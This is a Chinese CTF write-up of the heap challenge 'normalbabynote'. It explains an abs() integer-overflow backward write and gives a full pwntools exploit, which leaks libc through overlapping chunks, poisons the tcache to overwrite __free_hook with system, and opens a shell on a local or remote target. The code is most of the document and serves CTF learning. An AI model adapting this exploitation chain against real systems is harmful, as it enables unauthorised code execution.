2024-12第三周2:normalbabynote
每周一pwn系列
基本信息
给了libc
逆向分析
经典堆菜单
重点关注add和edit
add
申请的chunk<0x2f0,并且末尾置0,测试没有off by nulledit
这里用abs取绝对值,但是没有对我们的输入作出限制,那么就可以整数溢出,当输入一个 0x80000000(-2147483648) 时,由于正数最大为 2147483647 ,所以会转换失败而返回负值
也就是说我们有一个负向溢出写
漏洞利用
可以负向溢出写,tcache 打 __free_hook
但是该如何泄露libc?
- 思路1、填满tcache进到unsortedbin。但是题目只能申请16次,填满tcache都得占掉14次,不可行
- 思路2、利用负向溢出写,能改掉自己的size构造unsortedbin chunk,通过堆重叠泄露libc
EXP
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher
def dbg(command): #dbg(None)
if(len(sys.argv)!= 3):
gdb.attach(io,gdbscript=command)
#pause()
#------------------------------------------------------------------
def menu(num):
sla('> ',str(num))
def add(size,content):
menu(1)
sla('size> ',str(size))
sla('msg> ',content)
def edit(idx,offset,content):
menu(2)
sla('idx> ',str(idx))
sla('offset> ',str(offset))
sla('msg> ',content)
def delete(idx):
menu(3)
sla('idx> ',str(idx))
def show(idx):
menu(4)
sla('idx> ',str(idx))
def pwn():
add(0x1f0,b'a'*0x10)#0
add(0x1f0,b'a'*0x10)#1
add(0x1f0,b'a'*0x10)#2
add(0x1f0,b'a'*0x10)#3
edit(0,-2147483648,b'\x00'*0x38+p32(0x601))#0
delete(0)
add(0x1f0,b'a'*0x10)#4
show(1)
leak=u64(r(6).ljust(8,b'\x00'))
libc.address=leak-0x3ebca0
lg('libc',libc.address)
free_hook=ls('__free_hook')
system=ls('system')
add(0x1f0,b'a'*0x10)#5
add(0x1f0,b'a'*0x10)#6
delete(6)
delete(5)
edit(1,0,p64(free_hook))
add(0x1f0,b'a'*0x10)#7
add(0x1f0,p64(system))#8
edit(3,0,b'/bin/sh')
delete(3)
dbg('')
itr()
if __name__ == '__main__':
context(os='linux',arch='amd64',bits=64,endian='little')
context.terminal=["tmux","splitw","-h","-l 150"]
binary='./pwn'
context.log_level='debug'
elf=ELF(binary)
libc=elf.libc
if(len(sys.argv) == 3):
io = remote(sys.argv[1],sys.argv[2])
else:
io = process(binary)
s = lambda payload :io.send(payload)
sl = lambda payload :io.sendline(payload)
sa = lambda data,payload :io.sendafter(data,payload)
sla = lambda data,payload :io.sendlineafter(data,payload)
r = lambda num :io.recv(numb=num)
ru = lambda data,DROP :io.recvuntil(data,drop=DROP)
rl = lambda :io.recvline(keepends=True)
uu32 = lambda :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") )
uu64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
ep = lambda data :elf.plt[data]
eg = lambda data :elf.got[data]
es = lambda data :elf.sym[data]
ls = lambda data :libc.sym[data]
itr = lambda :io.interactive()
ic = lambda :io.close()
pt = lambda s :log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
lg = lambda name,addr :log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))
pwn()